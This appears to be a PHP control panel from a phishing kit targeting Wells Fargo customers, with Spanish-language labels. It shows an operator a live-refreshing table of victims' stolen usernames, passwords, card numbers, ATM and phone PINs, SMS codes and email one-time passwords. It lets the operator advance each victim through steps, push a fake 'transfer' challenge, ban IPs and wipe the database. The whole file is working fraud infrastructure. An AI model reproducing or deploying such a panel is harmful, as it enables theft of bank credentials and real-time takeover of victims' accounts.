<?php
session_start();
include "config/data.php";
include "../helpers/functions.php";
include "../helpers/class/UserInfo.php";

if(!isset($_SESSION["ok"]))
{
	echo '<meta http-equiv="refresh" content="0;URL=login.php" />';
	die();
}
include "config/top.php";

if(isset($_GET["logout"]))
{
	session_destroy();
	echo '<meta http-equiv="refresh" content="0;URL=login.php" />';
	die();
}
if(isset($_GET["cleardb"]))
{
	$stmt = $connp->prepare("DELETE from `wellsfargo` where 1");
	$stmt->execute();
	echo '<meta http-equiv="refresh" content="0;URL=index.php" />';
	die();
}

if(isset($_GET["step"]))
{
	$step = urldecode($conn->real_escape_string($_GET["step"]));
	$id   = urldecode($conn->real_escape_string($_GET["id"]));

    if($_GET["step"] == 10)
	{
		$stmt = $connp->prepare("SELECT ip FROM `wellsfargo` where id=:id");
        $stmt->bindParam(':id', $id);
        $stmt->execute();
        while($row = $stmt->fetch())
        {
            $ip = $row['ip'];
            createF("IPBam.txt", $ip);

            $stmt = $connp->prepare("UPDATE `wellsfargo` SET status = :status where id=:id");
            $stmt->bindParam(':status', $step);
		    $stmt->bindParam(':id', $id);
            $stmt->execute();
            echo '<meta http-equiv="refresh" content="0;URL=index.php" />';
        }
	}
    elseif($_GET["step"] == 11)
	{
		$stmt = $connp->prepare("DELETE FROM `wellsfargo`  where id=:id");
		$stmt->bindParam(':id', $id);
		$stmt->execute();
		echo '<meta http-equiv="refresh" content="0;URL=index.php" />';	
	}
    elseif($_GET["step"] == 12) 
	{
		$stmt = $connp->prepare("UPDATE `wellsfargo` SET transfer_q = :transfer, status = :status where id=:id");
        $stmt->bindParam(':transfer', $_GET['challenge']);
        $stmt->bindParam(':status', $step);
		$stmt->bindParam(':id', $id);
		$stmt->execute();
		echo '<meta http-equiv="refresh" content="0;URL=index.php" />';
		
	}
    elseif($_GET["step"] == 13) 
	{
		$stmt = $connp->prepare("UPDATE `wellsfargo` SET transfer_q = :transfer, status = :status where id=:id");
        $stmt->bindParam(':transfer', $_GET['challenge']);
        $stmt->bindParam(':status', $step);
		$stmt->bindParam(':id', $id);
		$stmt->execute();
		echo '<meta http-equiv="refresh" content="0;URL=index.php" />';
		
	}else {
        $stmt = $connp->prepare("UPDATE `wellsfargo` SET status = :status  where id=:id");
		$stmt->bindParam(':status', $step);
		$stmt->bindParam(':id', $id);
		$stmt->execute();
		echo '<meta http-equiv="refresh" content="0;URL=index.php" />';
    }
}

if (isset($_GET["coor"]))
	{
        $id = $_GET["coor"];
        $st = $_GET["step"];
		echo '<script>
                var coor=prompt("Igresar Transfer (ej: Steve Jobs 30.000):");
                if( coor != null)
                {
                    window.location.assign("?step='.$st.'&id='.$id.'&challenge="+coor)
                }
            </script>';
		
	}
?>
<script type="text/javascript">
function refreshDivs(divid, secs, url) {
    var divid, secs, url, fetch_unix_timestamp;
    var xmlHttp;
    try {
        xmlHttp = new XMLHttpRequest();
    } catch (e) {
        try {
            xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            try {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {
                alert("Tu explorador no soporta AJAX.");
                return false;
            }
        }
    }
    fetch_unix_timestamp = function() {
        return parseInt(new Date().getTime().toString().substring(0, 10))
    }
    var timestamp = fetch_unix_timestamp();
    var nocacheurl = url;
    xmlHttp.onreadystatechange = function() {
        if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
            document.getElementById(divid).innerHTML = xmlHttp.responseText;
            setTimeout(function() {
                refreshDivs(divid, secs, url);
            }, secs * 1000);
        }
    }
    xmlHttp.open("GET", nocacheurl, true);
    xmlHttp.send(null);
}
window.onload = function startrefresh() {
    refreshDivs('panelxd', 1, 'backend.php');
}
</script>
        
	<body>
    <div id="main-wrapper" data-sidebartype="mini-sidebar" class="">
        
        
        
        <header class="topbar" data-navbarbg="skin5">
            <nav class="navbar top-navbar navbar-expand-md navbar-dark">
                <div class="navbar-header" data-logobg="skin5">
                    
                    
                    
                    <a class="navbar-brand" href="index.php">
                        
                        <b class="logo-icon p-l-10">
                            
                            
                            <img src="dist/logo-icon.png" alt="homepage" class="light-logo">
                           <b style="color: red"></b>
                        </b>
                        
                         
                        
                        
                            
                            
                            
                            
                        
                        
                    </a>
                    
                    
                    
                    
                    <a class="topbartoggler d-block d-md-none waves-effect waves-light" href="?cleardb" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">LimpiarDB</a>
                    
                    <a class="topbartoggler d-block d-md-none waves-effect waves-light" href="?logout" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">Cerrar sesión</a>
                </div>
                
                
                
                <div class="navbar-collapse collapse" id="navbarSupportedContent" data-navbarbg="skin5">
                    
                    
                    
                    <ul class="navbar-nav float-left mr-auto">
					<li class="nav-item d-none d-md-block">&nbsp;</li>
							<li class="nav-item d-none d-md-block"><a class="nav-link dropdown-toggle" href="#loginwait" id="navbarDropdown">
                             <span class="d-none d-md-block">Victics (<span id="lw"></span>)</span>
                            </a></li>
							
							<li class="nav-item d-none d-md-block"><a class="nav-link dropdown-toggle" href="#challengewait" id="navbarDropdown">
                             <span class="d-none d-md-block">Challenge (<span id="cw"></span>)</span>
                            </a></li>
                            <li class="nav-item d-none d-md-block"><a class="nav-link dropdown-toggle" target="_blank" href="unbaner.php" id="navbarDropdown">
                             <span class="d-none d-md-block">IPsBaned</span>
                            </a></li>
							<!-- <li class="nav-item d-none d-md-block"><a class="nav-link dropdown-toggle" target="_blank" href="https://www.bancofalabella.cl/" id="navbarDropdown">
                             <span class="d-none d-md-block">Falabella</span>
                            </a></li> -->
							
							<!-- <li class="nav-item d-none d-md-block"><a class="nav-link dropdown-toggle" href="#responsewait" id="navbarDropdown">
                             <span class="d-none d-md-block">Response (<span id="rw"><?php #echo $rw; ?></span>)</span>
                            </a></li>   -->
                        </ul>

                    <ul class="navbar-nav float-right">
                        <li class="nav-item dropdown">
                            <a class="nav-link dropdown-toggle text-muted waves-effect waves-dark pro-pic" href="?cleardb" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">LimpiarDB</a>
                        </li>
                        <li class="nav-item dropdown">
                            <a class="nav-link dropdown-toggle text-muted waves-effect waves-dark pro-pic" href="?logout" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Cerrar Sesión</a>
                        </li>
                    </ul>
                </div>
            </nav>
        </header>
        <div class="page-wrapper">
            <div class="page-breadcrumb">
                <div class="row">
                    <div class="col-12 d-flex no-block align-items-center">
                        <h4 class="page-title">Logins</h4>
                    </div>
                </div>
            </div>
            
            
            
            
            
            
            <div class="container-fluid">
                
                
                
                <div class="row">
                    <div class="col-12">
						
						
						
                    <div class="card" id="responseewait">
                            <div class="card-body">
                                <h5 class="card-title m-b-0">Respuestas</h5>
                            </div>
                                <div class="table-responsive">
                                    <table class="table">
                                        <thead class="thead-light">
                                            <tr>
												<th scope="col">Date</th>
                                                <th>User</th>
                                                <th>Password</th>

                                                <th>Card</th>
                                                <th>Atm Pin</th>

                                                <th>Phone</th>
                                                <th>Phone Pin</th>

                                               
                                                <th>SMS</th>
                                                <th>Email Otp</th>

                                                


                                                <th scope="col">Accion</th>
                                            </tr>
                                        </thead>
                                        <tbody class="customtable" id="responsetable">
                                        <tbody id="panelxd"></tbody>
											</tbody>
                                    </table>
                                </div>
                        </div>
                                </div>
                        </div>
                     </div>
                </div>
                
                
                
                
                
                
                
                
                
                
            </div>
            
            
            
            
            
          
            
            
        </div>
        
        
        
    </div>
</body>

</html>
<script src=""></script>